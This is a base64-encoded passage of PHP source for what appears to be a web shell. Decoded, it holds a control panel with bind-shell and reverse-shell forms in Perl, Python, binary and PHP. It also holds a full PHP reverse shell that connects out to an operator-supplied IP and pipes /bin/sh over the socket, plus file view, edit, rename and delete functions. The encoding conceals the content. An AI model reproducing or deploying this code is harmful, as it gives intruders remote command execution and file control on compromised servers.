aV9weSAkd211bHRpX2MKICAgICRyc3Blc2FuID0gIlByZXNzICYjMzk7ICBHbyAhICAmIzM5OyBi dXR0b24gYW5kIHJ1biAmIzM5OyAgbmMgPGk+c2VydmVyX2lwPC9pPiA8aT5wb3J0PC9pPiAgJiMz OTsgb24geW91ciBjb21wdXRlciI7CiAgICAkcnNwZXNhbmIgPSAiUnVuICYjMzk7ICBuYyAtbCAt diAtcCA8aT5wb3J0PC9pPiAgJiMzOTsgb24geW91ciBjb21wdXRlciBhbmQgcHJlc3MgJiMzOTsg IEdvICEgICYjMzk7IGJ1dHRvbiI7CgogICAgJHJzcG9ydDEgPSAkcnNwb3J0OwogICAgJHJzcG9y dDIgPSAkcnNwb3J0OwogICAgJHJzcG9ydDMgPSAkcnNwb3J0OwoKICAgIGlmKGlzc2V0KCRfUkVR VUVTVFsneGJpbmRfcGwnXSkpewogICAgICBpZihpc3NldCgkX1JFUVVFU1RbJ3NxbHBvcnQxJ10p KSAkcnNwb3J0MSA9IHNzKCRfUkVRVUVTVFsnc3FscG9ydDEnXSk7CiAgICAgICRyc3RhcmdldCA9 ICRyc3BvcnQxOwogICAgICAkcnNyZXMgPSBycygkc193aW4sIGNwKCRkKSwgICJ4YmluZF9wbCIg LCR4YmluZF9wbCwgJHJzdGFyZ2V0KTsKICAgICAgJHNfcmVzdWx0IC49ICRyc3JlczsKICAgIH0K ICAgIGlmKGlzc2V0KCRfUkVRVUVTVFsneGJpbmRfcHknXSkpewogICAgICBpZihpc3NldCgkX1JF UVVFU1RbJ3NxbHBvcnQyJ10pKSAkcnNwb3J0MiA9IHNzKCRfUkVRVUVTVFsnc3FscG9ydDInXSk7 CiAgICAgICRyc3RhcmdldCA9ICRyc3BvcnQyOwogICAgICAkcnNyZXMgPSBycygkc193aW4sIGNw KCRkKSwgICJ4YmluZF9weSIgLCR4bXVsdGlfcHksICRyc3RhcmdldCk7CiAgICAgICRzX3Jlc3Vs dCAuPSAkcnNyZXM7CiAgICB9CiAgICBpZihpc3NldCgkX1JFUVVFU1RbJ3hiaW5kX2JpbiddKSl7 CiAgICAgIGlmKGlzc2V0KCRfUkVRVUVTVFsnc3FscG9ydDMnXSkpICRyc3BvcnQzID0gc3MoJF9S RVFVRVNUWydzcWxwb3J0MyddKTsKICAgICAgJHJzdGFyZ2V0ID0gJHJzcG9ydDM7CiAgICAgIGlm KCEkc193aW4pICRyc3JlcyA9IHJzKCRzX3dpbiwgY3AoJGQpLCAgInhiaW5kX2JpbiIgLCR4Ymlu ZF9jLCAkcnN0YXJnZXQpOwogICAgICBlbHNlICRyc3JlcyA9IHJzKCRzX3dpbiwgY3AoJGQpLCAg InhiaW5kX2JpbiIgLCR3bXVsdGlfYywgJHJzdGFyZ2V0KTsKICAgICAgJHNfcmVzdWx0IC49ICRy c3JlczsKICAgIH0KCiAgICAkcnNwb3J0YjEgPSAkcnNwb3J0OwogICAgJHJzcG9ydGIyID0gJHJz cG9ydDsKICAgICRyc3BvcnRiMyA9ICRyc3BvcnQ7CiAgICAkcnNwb3J0YjQgPSAkcnNwb3J0Owog ICAgJHJzdGFyZ2V0MSA9ICRzX215X2lwOwogICAgJHJzdGFyZ2V0MiA9ICRzX215X2lwOwogICAg JHJzdGFyZ2V0MyA9ICRzX215X2lwOwogICAgJHJzdGFyZ2V0NCA9ICRzX215X2lwOwoKICAgIGlm KGlzc2V0KCRfUkVRVUVTVFsneGJhY2tfcGwnXSkpewogICAgICBpZihpc3NldCgkX1JFUVVFU1Rb J3NxbHBvcnRiMSddKSkgJHJzcG9ydGIxID0gc3MoJF9SRVFVRVNUWydzcWxwb3J0YjEnXSk7CiAg ICAgIGlmKGlzc2V0KCRfUkVRVUVTVFsncnN0YXJnZXQxJ10pKSAkcnN0YXJnZXQxID0gc3MoJF9S RVFVRVNUWydyc3RhcmdldDEnXSk7CgogICAgICAkcnN0YXJnZXQgPSAkcnNwb3J0YjEuIiAgIi4k cnN0YXJnZXQxOwogICAgICAkcnNyZXMgPSBycygkc193aW4sIGNwKCRkKSwgICJ4YmFja19wbCIg LCR4YmFja19wbCwgJHJzdGFyZ2V0KTsKICAgICAgJHNfcmVzdWx0IC49ICRyc3JlczsKCiAgICB9 CiAgICBpZihpc3NldCgkX1JFUVVFU1RbJ3hiYWNrX3B5J10pKXsKICAgICAgaWYoaXNzZXQoJF9S RVFVRVNUWydzcWxwb3J0YjInXSkpICRyc3BvcnRiMiA9IHNzKCRfUkVRVUVTVFsnc3FscG9ydGIy J10pOwogICAgICBpZihpc3NldCgkX1JFUVVFU1RbJ3JzdGFyZ2V0MiddKSkgJHJzdGFyZ2V0MiA9 IHNzKCRfUkVRVUVTVFsncnN0YXJnZXQyJ10pOwoKICAgICAgJHJzdGFyZ2V0ID0gJHJzcG9ydGIy LiIgICIuJHJzdGFyZ2V0MjsKICAgICAgJHJzcmVzID0gcnMoJHNfd2luLCBjcCgkZCksICAieGJh Y2tfcHkiICwkeG11bHRpX3B5LCAkcnN0YXJnZXQpOwogICAgICAkc19yZXN1bHQgLj0gJHJzcmVz OwogICAgfQogICAgaWYoaXNzZXQoJF9SRVFVRVNUWyd4YmFja19iaW4nXSkpewogICAgICBpZihp c3NldCgkX1JFUVVFU1RbJ3NxbHBvcnRiMyddKSkgJHJzcG9ydGIzID0gc3MoJF9SRVFVRVNUWydz cWxwb3J0YjMnXSk7CiAgICAgIGlmKGlzc2V0KCRfUkVRVUVTVFsncnN0YXJnZXQzJ10pKSAkcnN0 YXJnZXQzID0gc3MoJF9SRVFVRVNUWydyc3RhcmdldDMnXSk7CgogICAgICAkcnN0YXJnZXQgPSAk cnNwb3J0YjMuIiAgIi4kcnN0YXJnZXQzOwogICAgICBpZighJHNfd2luKSAkcnNyZXMgPSBycygk c193aW4sIGNwKCRkKSwgICJ4YmFja19iaW4iICwkeGJhY2tfYywgJHJzdGFyZ2V0KTsKICAgICAg ZWxzZSAkcnNyZXMgPSBycygkc193aW4sIGNwKCRkKSwgICJ4YmFja19iaW4iICwkd211bHRpX2Ms ICRyc3RhcmdldCk7CiAgICAgICRzX3Jlc3VsdCAuPSAkcnNyZXM7CiAgICB9CiAgICBpZihpc3Nl dCgkX1JFUVVFU1RbJ3hiYWNrX3BocCddKSl7CiAgICAgIGlmKGlzc2V0KCRfUkVRVUVTVFsnc3Fs cG9ydGI0J10pKSAkcnNwb3J0YjQgPSBzcygkX1JFUVVFU1RbJ3NxbHBvcnRiNCddKTsKICAgICAg aWYoaXNzZXQoJF9SRVFVRVNUWydyc3RhcmdldDQnXSkpICRyc3RhcmdldDQgPSBzcygkX1JFUVVF U1RbJ3JzdGFyZ2V0NCddKTsKICAgICAgICAkaXAgPSAkcnN0YXJnZXQ0OwogICAgICAgICRwb3J0 ID0gJHJzcG9ydGI0OwogICAgICAgICRjaHVua19zaXplID0gMTMzNzsKICAgICAgICAkd3JpdGVf YSA9IG51bGw7CiAgICAgICAgJGVycm9yX2EgPSBudWxsOwogICAgICAgICRzaGVsbCA9ICcvYmlu L3NoJzsKICAgICAgICAkZGFlbW9uID0gMDsKICAgICAgICAkZGVidWcgPSAwOwogICAgICAgIGlm KGZ1bmN0aW9uX2V4aXN0cygncGNudGxfZm9yaycpKXsKICAgICAgICAgICRwaWQgPSBwY250bF9m b3JrKCk7CiAgICAgICAgICBpZiAoJHBpZCA9PSAtMSkgZXhpdCgxKTsKICAgICAgICAgIGlmICgk cGlkKSBleGl0KDApOwogICAgICAgICAgaWYgKHBvc2l4X3NldHNpZCgpID09IC0xKSBleGl0KDEp OwogICAgICAgICAgJGRhZW1vbiA9IDE7CiAgICAgICAgfQogICAgICAgIHVtYXNrKDApOwogICAg ICAgICRzb2NrID0gZnNvY2tvcGVuKCRpcCwgJHBvcnQsICRlcnJubywgJGVycnN0ciwgMzApOwog ICAgICAgIGlmKCEkc29jaykgZXhpdCgxKTsKICAgICAgICAkZGVzY3JpcHRvcnNwZWMgPSBhcnJh eSgwID0+IGFycmF5KCJwaXBlIiwgInIiKSwgMSA9PiBhcnJheSgicGlwZSIsICJ3IiksIDIgPT4g YXJyYXkoInBpcGUiLCAidyIpKTsKICAgICAgICAkcHJvY2VzcyA9IHByb2Nfb3Blbigkc2hlbGws ICRkZXNjcmlwdG9yc3BlYywgJHBpcGVzKTsKICAgICAgICBpZighaXNfcmVzb3VyY2UoJHByb2Nl c3MpKSBleGl0KDEpOwogICAgICAgIHN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcGVzWzBdLCAwKTsK ICAgICAgICBzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1sxXSwgMCk7CiAgICAgICAgc3RyZWFt X3NldF9ibG9ja2luZygkcGlwZXNbMl0sIDApOwogICAgICAgIHN0cmVhbV9zZXRfYmxvY2tpbmco JHNvY2ssIDApOwogICAgICAgIHdoaWxlKDEpewogICAgICAgICAgaWYoZmVvZigkc29jaykpIGJy ZWFrOwogICAgICAgICAgaWYoZmVvZigkcGlwZXNbMV0pKSBicmVhazsKICAgICAgICAgICRyZWFk X2EgPSBhcnJheSgkc29jaywgJHBpcGVzWzFdLCAkcGlwZXNbMl0pOwogICAgICAgICAgJG51bV9j aGFuZ2VkX3NvY2tldHMgPSBzdHJlYW1fc2VsZWN0KCRyZWFkX2EsICR3cml0ZV9hLCAkZXJyb3Jf YSwgbnVsbCk7CiAgICAgICAgICBpZihpbl9hcnJheSgkc29jaywgJHJlYWRfYSkpewogICAgICAg ICAgICAkaW5wdXQgPSBmcmVhZCgkc29jaywgJGNodW5rX3NpemUpOwogICAgICAgICAgICBmd3Jp dGUoJHBpcGVzWzBdLCAkaW5wdXQpOwogICAgICAgICAgfQogICAgICAgICAgaWYoaW5fYXJyYXko JHBpcGVzWzFdLCAkcmVhZF9hKSl7CiAgICAgICAgICAgICRpbnB1dCA9IGZyZWFkKCRwaXBlc1sx XSwgJGNodW5rX3NpemUpOwogICAgICAgICAgICBmd3JpdGUoJHNvY2ssICRpbnB1dCk7CiAgICAg ICAgICB9CiAgICAgICAgICBpZihpbl9hcnJheSgkcGlwZXNbMl0sICRyZWFkX2EpKXsKICAgICAg ICAgICAgJGlucHV0ID0gZnJlYWQoJHBpcGVzWzJdLCAkY2h1bmtfc2l6ZSk7CiAgICAgICAgICAg IGZ3cml0ZSgkc29jaywgJGlucHV0KTsKICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZmNs b3NlKCRzb2NrKTtmY2xvc2UoJHBpcGVzWzBdKTtmY2xvc2UoJHBpcGVzWzFdKTtmY2xvc2UoJHBp cGVzWzJdKTsKICAgICAgICBwcm9jX2Nsb3NlKCRwcm9jZXNzKTsKICAgICAgJHJzcmVzID0gIiAi OwogICAgICAkc19yZXN1bHQgLj0gJHJzcmVzOwogICAgfQogICAgJHNfcmVzdWx0IC49ICI8ZGl2 IGNsYXNzPVwibXlib3hcIj48aDI+QmluZCBzaGVsbCAoIHBlcmwgKTwvaDI+CiAgICA8Zm9ybSBh Y3Rpb249XCIiIC4gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAiP3JzXCIgbWV0aG9kPVwicG9zdFwi IC8+CiAgICA8dGFibGUgY2xhc3M9XCJteWJveHRibFwiPgogICAgPHRyPjx0ZCBzdHlsZT1cIndp ZHRoOjEwMHB4O1wiPlNlcnZlciBJUDwvdGQ+PHRkPjxpbnB1dCBkaXNhYmxlZD1cImRpc2FibGVk XCIgc3R5bGU9XCJ3aWR0aDoxMDAlO1wiIGNsYXNzPVwiaW5wdXR6XCIgdHlwZT1cInRleHRcIiBu YW1lPVwicnNob3N0MVwiIHZhbHVlPVwiIi4kcnNob3N0LiJcIiAvPjwvdGQ+PC90cj4KICAgIDx0 cj48dGQ+UG9ydDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT1cIndpZHRoOjEwMCU7XCIgY2xhc3M9XCJp bnB1dHpcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxwb3J0MVwiIHZhbHVlPVwiIi4kcnNwb3J0 MS4iXCIgLz48L3RkPjwvdHI+CiAgICA8L3RhYmxlPgogICAgPGlucHV0IHR5cGU9XCJzdWJtaXRc IiBuYW1lPVwieGJpbmRfcGxcIiBjbGFzcz1cImlucHV0emJ1dFwiIHZhbHVlPVwiR28gIVwiIHN0 eWxlPVwid2lkdGg6MTIwcHg7aGVpZ2h0OjMwcHg7bWFyZ2luOjEwcHggMnB4IDAgMnB4O1wiIC8+ CiAgICAmbmJzcDsmbmJzcDs8c3BhbiBpZD1cInJzMVwiPiIuJHJzcGVzYW4uIjwvc3Bhbj4KICAg IDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImRcIiB2YWx1ZT1cIiIuJHB3ZC4iXCIgLz4K ICAgIDwvZm9ybT4KICAgIDwvZGl2PiI7CiAgICAkc19yZXN1bHQgLj0gIjxkaXYgY2xhc3M9XCJt eWJveFwiPjxoMj5CaW5kIHNoZWxsICggcHl0aG9uICk8L2gyPgogICAgPGZvcm0gYWN0aW9uPVwi IiAuICRfU0VSVkVSWydQSFBfU0VMRiddIC4gIj9yc1wiIG1ldGhvZD1cInBvc3RcIiAvPgogICAg PHRhYmxlIGNsYXNzPVwibXlib3h0YmxcIj4KICAgIDx0cj48dGQgc3R5bGU9XCJ3aWR0aDoxMDBw eDtcIj5TZXJ2ZXIgSVA8L3RkPjx0ZD48aW5wdXQgZGlzYWJsZWQ9XCJkaXNhYmxlZFwiIHN0eWxl PVwid2lkdGg6MTAwJTtcIiBjbGFzcz1cImlucHV0elwiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInJz aG9zdFwiIHZhbHVlPVwiIi4kcnNob3N0LiJcIiAvPjwvdGQ+PC90cj4KICAgIDx0cj48dGQ+UG9y dDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT1cIndpZHRoOjEwMCU7XCIgY2xhc3M9XCJpbnB1dHpcIiB0 eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxwb3J0MlwiIHZhbHVlPVwiIi4kcnNwb3J0Mi4iXCIgLz48 L3RkPjwvdHI+CiAgICA8L3RhYmxlPgogICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwi eGJpbmRfcHlcIiBjbGFzcz1cImlucHV0emJ1dFwiIHZhbHVlPVwiR28gIVwiIHN0eWxlPVwid2lk dGg6MTIwcHg7aGVpZ2h0OjMwcHg7bWFyZ2luOjEwcHggMnB4IDAgMnB4O1wiIC8+CiAgICAmbmJz cDsmbmJzcDs8c3BhbiBpZD1cInJzMVwiPiIuJHJzcGVzYW4uIjwvc3Bhbj4KICAgIDxpbnB1dCB0 eXBlPVwiaGlkZGVuXCIgbmFtZT1cImRcIiB2YWx1ZT1cIiIuJHB3ZC4iXCIgLz4KICAgIDwvZm9y bT4KICAgIDwvZGl2PiI7CiAgICAkc19yZXN1bHQgLj0gIjxkaXYgY2xhc3M9XCJteWJveFwiPjxo Mj5CaW5kIHNoZWxsICggYmluICk8L2gyPgogICAgPGZvcm0gYWN0aW9uPVwiIiAuICRfU0VSVkVS WydQSFBfU0VMRiddIC4gIj9yc1wiIG1ldGhvZD1cInBvc3RcIiAvPgogICAgPHRhYmxlIGNsYXNz PVwibXlib3h0YmxcIj4KICAgIDx0cj48dGQgc3R5bGU9XCJ3aWR0aDoxMDBweDtcIj5TZXJ2ZXIg SVA8L3RkPjx0ZD48aW5wdXQgZGlzYWJsZWQ9XCJkaXNhYmxlZFwiIHN0eWxlPVwid2lkdGg6MTAw JTtcIiBjbGFzcz1cImlucHV0elwiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInJzaG9zdFwiIHZhbHVl PVwiIi4kcnNob3N0LiJcIiAvPjwvdGQ+PC90cj4KICAgIDx0cj48dGQ+UG9ydDwvdGQ+PHRkPjxp bnB1dCBzdHlsZT1cIndpZHRoOjEwMCU7XCIgY2xhc3M9XCJpbnB1dHpcIiB0eXBlPVwidGV4dFwi IG5hbWU9XCJzcWxwb3J0M1wiIHZhbHVlPVwiIi4kcnNwb3J0My4iXCIgLz48L3RkPjwvdHI+CiAg ICA8L3RhYmxlPgogICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwieGJpbmRfYmluXCIg Y2xhc3M9XCJpbnB1dHpidXRcIiB2YWx1ZT1cIkdvICFcIiBzdHlsZT1cIndpZHRoOjEyMHB4O2hl aWdodDozMHB4O21hcmdpbjoxMHB4IDJweCAwIDJweDtcIiAvPgogICAgJm5ic3A7Jm5ic3A7PHNw YW4gaWQ9XCJyczFcIj4iLiRyc3Blc2FuLiI8L3NwYW4+CiAgICA8aW5wdXQgdHlwZT1cImhpZGRl blwiIG5hbWU9XCJkXCIgdmFsdWU9XCIiLiRwd2QuIlwiIC8+CiAgICA8L2Zvcm0+CiAgICA8L2Rp dj4iOwogICAgJHNfcmVzdWx0IC49ICI8ZGl2IGNsYXNzPVwibXlib3hcIj48aDI+UmV2ZXJzZSBz aGVsbCAoIHBlcmwgKTwvaDI+CiAgICA8Zm9ybSBhY3Rpb249XCIiIC4gJF9TRVJWRVJbJ1BIUF9T RUxGJ10gLiAiP3JzXCIgbWV0aG9kPVwicG9zdFwiIC8+CiAgICA8dGFibGUgY2xhc3M9XCJteWJv eHRibFwiPgogICAgPHRyPjx0ZCBzdHlsZT1cIndpZHRoOjEwMHB4O1wiPllvdXIgSVA8L3RkPjx0 ZD48aW5wdXQgc3R5bGU9XCJ3aWR0aDoxMDAlO1wiIGNsYXNzPVwiaW5wdXR6XCIgdHlwZT1cInRl eHRcIiBuYW1lPVwicnN0YXJnZXQxXCIgdmFsdWU9XCIiLiRyc3RhcmdldDEuIlwiIC8+PC90ZD48 L3RyPgogICAgPHRyPjx0ZD5Qb3J0PC90ZD48dGQ+PGlucHV0IHN0eWxlPVwid2lkdGg6MTAwJTtc IiBjbGFzcz1cImlucHV0elwiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbHBvcnRiMVwiIHZhbHVl PVwiIi4kcnNwb3J0YjEuIlwiIC8+PC90ZD48L3RyPgogICAgPC90YWJsZT4KICAgIDxpbnB1dCB0 eXBlPVwic3VibWl0XCIgbmFtZT1cInhiYWNrX3BsXCIgY2xhc3M9XCJpbnB1dHpidXRcIiB2YWx1 ZT1cIkdvICFcIiBzdHlsZT1cIndpZHRoOjEyMHB4O2hlaWdodDozMHB4O21hcmdpbjoxMHB4IDJw eCAwIDJweDtcIiAvPgogICAgJm5ic3A7Jm5ic3A7PHNwYW4gaWQ9XCJyczFcIj4iLiRyc3Blc2Fu Yi4iPC9zcGFuPgogICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZFwiIHZhbHVlPVwi Ii4kcHdkLiJcIiAvPgogICAgPC9mb3JtPgogICAgPC9kaXY+IjsKICAgICRzX3Jlc3VsdCAuPSAi PGRpdiBjbGFzcz1cIm15Ym94XCI+PGgyPlJldmVyc2Ugc2hlbGwgKCBweXRob24gKTwvaDI+CiAg ICA8Zm9ybSBhY3Rpb249XCIiIC4gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gLiAiP3JzXCIgbWV0aG9k PVwicG9zdFwiIC8+CiAgICA8dGFibGUgY2xhc3M9XCJteWJveHRibFwiPgogICAgPHRyPjx0ZCBz dHlsZT1cIndpZHRoOjEwMHB4O1wiPllvdXIgSVA8L3RkPjx0ZD48aW5wdXQgc3R5bGU9XCJ3aWR0 aDoxMDAlO1wiIGNsYXNzPVwiaW5wdXR6XCIgdHlwZT1cInRleHRcIiBuYW1lPVwicnN0YXJnZXQy XCIgdmFsdWU9XCIiLiRyc3RhcmdldDIuIlwiIC8+PC90ZD48L3RyPgogICAgPHRyPjx0ZD5Qb3J0 PC90ZD48dGQ+PGlucHV0IHN0eWxlPVwid2lkdGg6MTAwJTtcIiBjbGFzcz1cImlucHV0elwiIHR5 cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbHBvcnRiMlwiIHZhbHVlPVwiIi4kcnNwb3J0YjIuIlwiIC8+ PC90ZD48L3RyPgogICAgPC90YWJsZT4KICAgIDxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1c InhiYWNrX3B5XCIgY2xhc3M9XCJpbnB1dHpidXRcIiB2YWx1ZT1cIkdvICFcIiBzdHlsZT1cIndp ZHRoOjEyMHB4O2hlaWdodDozMHB4O21hcmdpbjoxMHB4IDJweCAwIDJweDtcIiAvPgogICAgJm5i c3A7Jm5ic3A7PHNwYW4gaWQ9XCJyczFcIj4iLiRyc3Blc2FuYi4iPC9zcGFuPgogICAgPGlucHV0 IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZFwiIHZhbHVlPVwiIi4kcHdkLiJcIiAvPgogICAgPC9m b3JtPgogICAgPC9kaXY+IjsKICAgICRzX3Jlc3VsdCAuPSAiPGRpdiBjbGFzcz1cIm15Ym94XCI+ PGgyPlJldmVyc2Ugc2hlbGwgKCBiaW4gKTwvaDI+CiAgICA8Zm9ybSBhY3Rpb249XCIiIC4gJF9T RVJWRVJbJ1BIUF9TRUxGJ10gLiAiP3JzXCIgbWV0aG9kPVwicG9zdFwiIC8+CiAgICA8dGFibGUg Y2xhc3M9XCJteWJveHRibFwiPgogICAgPHRyPjx0ZCBzdHlsZT1cIndpZHRoOjEwMHB4O1wiPllv dXIgSVA8L3RkPjx0ZD48aW5wdXQgc3R5bGU9XCJ3aWR0aDoxMDAlO1wiIGNsYXNzPVwiaW5wdXR6 XCIgdHlwZT1cInRleHRcIiBuYW1lPVwicnN0YXJnZXQzXCIgdmFsdWU9XCIiLiRyc3RhcmdldDMu IlwiIC8+PC90ZD48L3RyPgogICAgPHRyPjx0ZD5Qb3J0PC90ZD48dGQ+PGlucHV0IHN0eWxlPVwi d2lkdGg6MTAwJTtcIiBjbGFzcz1cImlucHV0elwiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbHBv cnRiM1wiIHZhbHVlPVwiIi4kcnNwb3J0YjMuIlwiIC8+PC90ZD48L3RyPgogICAgPC90YWJsZT4K ICAgIDxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInhiYWNrX2JpblwiIGNsYXNzPVwiaW5w dXR6YnV0XCIgdmFsdWU9XCJHbyAhXCIgc3R5bGU9XCJ3aWR0aDoxMjBweDtoZWlnaHQ6MzBweDtt YXJnaW46MTBweCAycHggMCAycHg7XCIgLz4KICAgICZuYnNwOyZuYnNwOzxzcGFuIGlkPVwicnMx XCI+Ii4kcnNwZXNhbmIuIjwvc3Bhbj4KICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1c ImRcIiB2YWx1ZT1cIiIuJHB3ZC4iXCIgLz4KICAgIDwvZm9ybT4KICAgIDwvZGl2PiI7CiAgICAk c19yZXN1bHQgLj0gIjxkaXYgY2xhc3M9XCJteWJveFwiPjxoMj5SZXZlcnNlIHNoZWxsICggcGhw ICk8L2gyPgogICAgPGZvcm0gYWN0aW9uPVwiIiAuICRfU0VSVkVSWydQSFBfU0VMRiddIC4gIj9y c1wiIG1ldGhvZD1cInBvc3RcIiAvPgogICAgPHRhYmxlIGNsYXNzPVwibXlib3h0YmxcIj4KICAg IDx0cj48dGQgc3R5bGU9XCJ3aWR0aDoxMDBweDtcIj5Zb3VyIElQPC90ZD48dGQ+PGlucHV0IHN0 eWxlPVwid2lkdGg6MTAwJTtcIiBjbGFzcz1cImlucHV0elwiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1c InJzdGFyZ2V0NFwiIHZhbHVlPVwiIi4kcnN0YXJnZXQ0LiJcIiAvPjwvdGQ+PC90cj4KICAgIDx0 cj48dGQ+UG9ydDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT1cIndpZHRoOjEwMCU7XCIgY2xhc3M9XCJp bnB1dHpcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxwb3J0YjRcIiB2YWx1ZT1cIiIuJHJzcG9y dGI0LiJcIiAvPjwvdGQ+PC90cj4KICAgIDwvdGFibGU+CiAgICA8aW5wdXQgdHlwZT1cInN1Ym1p dFwiIG5hbWU9XCJ4YmFja19waHBcIiBjbGFzcz1cImlucHV0emJ1dFwiIHZhbHVlPVwiR28gIVwi IHN0eWxlPVwid2lkdGg6MTIwcHg7aGVpZ2h0OjMwcHg7bWFyZ2luOjEwcHggMnB4IDAgMnB4O1wi IC8+CiAgICAmbmJzcDsmbmJzcDs8c3BhbiBpZD1cInJzMVwiPiIuJHJzcGVzYW5iLiI8L3NwYW4+ CiAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJkXCIgdmFsdWU9XCIiLiRwd2QuIlwi IC8+CiAgICA8L2Zvcm0+CiAgICA8L2Rpdj4iOwogIH0gLy8gdmlldyBmaWxlCiAgZWxzZWlmKGlz c2V0KCRfUkVRVUVTVFsndmlldyddKSl7CiAgICAkZiA9IHNzKCRfUkVRVUVTVFsndmlldyddKTsK ICAgIGlmKGlzc2V0KCRmbmV3KSAmJiAodHJpbSgkZm5ldykhPSIiKSkgJGYgPSAkZm5ldzsgCgog ICAgaWYoaXNfZmlsZSgkZikpewogICAgICBpZighJHNfd2luICYmICRzX3Bvc2l4KXsKICAgICAg ICAkbmFtZSA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkZikpOwogICAgICAgICRncm91cCA9 IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkZikpOwogICAgICAgICRvd25lciA9ICRuYW1lWydu YW1lJ10uIjxzcGFuIGNsYXNzPVwiZ2F5YVwiPiA6IDwvc3Bhbj4iLiRncm91cFsnbmFtZSddOwog ICAgICB9CiAgICAgIGVsc2UgewogICAgICAgICRvd25lciA9ICRzX3VzZXI7CiAgICAgIH0KICAg ICAgJGZpbG4gPSBiYXNlbmFtZSgkZik7CiAgICAgICRzX3Jlc3VsdCAuPSAiPHRhYmxlIGNsYXNz PVwidmlld2ZpbGVcIiBzdHlsZT1cIndpZHRoOjEwMCU7XCI+CiAgICAgIDx0cj48dGQgc3R5bGU9 XCJ3aWR0aDoxNDBweDtcIj5GaWxlbmFtZTwvdGQ+PHRkPjxzcGFuIGlkPVwiIi5jcygkZmlsbiku Il9saW5rXCI+Ii4kZi4iPC9zcGFuPgogICAgICA8Zm9ybSBhY3Rpb249XCIiIC4gJF9TRVJWRVJb J1BIUF9TRUxGJ10gLiAiP2Q9Ii4kcHdkLiImYW1wO3ZpZXc9Ii4kZi4iXCIgbWV0aG9kPVwicG9z dFwiIGlkPVwiIi5jcygkZmlsbikuIl9mb3JtXCIgY2xhc3M9XCJzZW1idW55aVwiIHN0eWxlPVwi bWFyZ2luOjA7cGFkZGluZzowO1wiPgogICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFt ZT1cIm9sZG5hbWVcIiB2YWx1ZT1cIiIuJGZpbG4uIlwiIHN0eWxlPVwibWFyZ2luOjA7cGFkZGlu ZzowO1wiIC8+CiAgICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoy MDBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJuZXduYW1lXCIgdmFsdWU9XCIiLiRmaWxuLiJc IiAvPgogICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBu YW1lPVwicmVuYW1lXCIgdmFsdWU9XCJyZW5hbWVcIiAvPgogICAgICAgIDxpbnB1dCBjbGFzcz1c ImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiY2FuY2VsXCIgdmFsdWU9XCJjYW5j ZWxcIgogICAgICAgIG9uY2xpY2s9XCJ0dWthcignIi5jcygkZmlsbikuIl9saW5rJywnIi5jcygk ZmlsbikuIl9mb3JtJyk7XCIgLz4KICAgICAgPC9mb3JtPgogICAgICA8L3RkPjwvdHI+CiAgICAg IDx0cj48dGQ+U2l6ZTwvdGQ+PHRkPiIuZ3MoJGYpLiI8L3RkPjwvdHI+CiAgICAgIDx0cj48dGQ+ UGVybWlzc2lvbjwvdGQ+PHRkPiIuZ3AoJGYpLiI8L3RkPjwvdHI+CiAgICAgIDx0cj48dGQ+T3du ZXI8L3RkPjx0ZD4iLiRvd25lci4iPC90ZD48L3RyPgogICAgICA8dHI+PHRkPkNyZWF0ZSB0aW1l PC90ZD48dGQ+Ii5kYXRlKCJkLU0tWSBIOmkiLGZpbGVjdGltZSgkZikpLiI8L3RkPjwvdHI+CiAg ICAgIDx0cj48dGQ+TGFzdCBtb2RpZmllZDwvdGQ+PHRkPiIuZGF0ZSgiZC1NLVkgSDppIixmaWxl bXRpbWUoJGYpKS4iPC90ZD48L3RyPgogICAgICA8dHI+PHRkPkxhc3QgYWNjZXNzZWQ8L3RkPjx0 ZD4iLmRhdGUoImQtTS1ZIEg6aSIsZmlsZWF0aW1lKCRmKSkuIjwvdGQ+PC90cj4KICAgICAgPHRy Pjx0ZD5BY3Rpb25zPC90ZD48dGQ+CiAgICAgIDxhIGhyZWY9XCI/ZD0iLiRwd2QuIiZhbXA7ZWRp dD0iLiRmLiJcIj5lZGl0PC9hPiB8CiAgICAgIDxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCci LmNzKCRmaWxuKS4iX2xpbmsnLCciLmNzKCRmaWxuKS4iX2Zvcm0nKTtcIj5yZW5hbWU8L2E+IHwK ICAgICAgPGEgaHJlZj1cIj9kPSIuJHB3ZC4iJmFtcDtkZWxldGU9Ii4kZi4iXCI+ZGVsZXRlPC9h 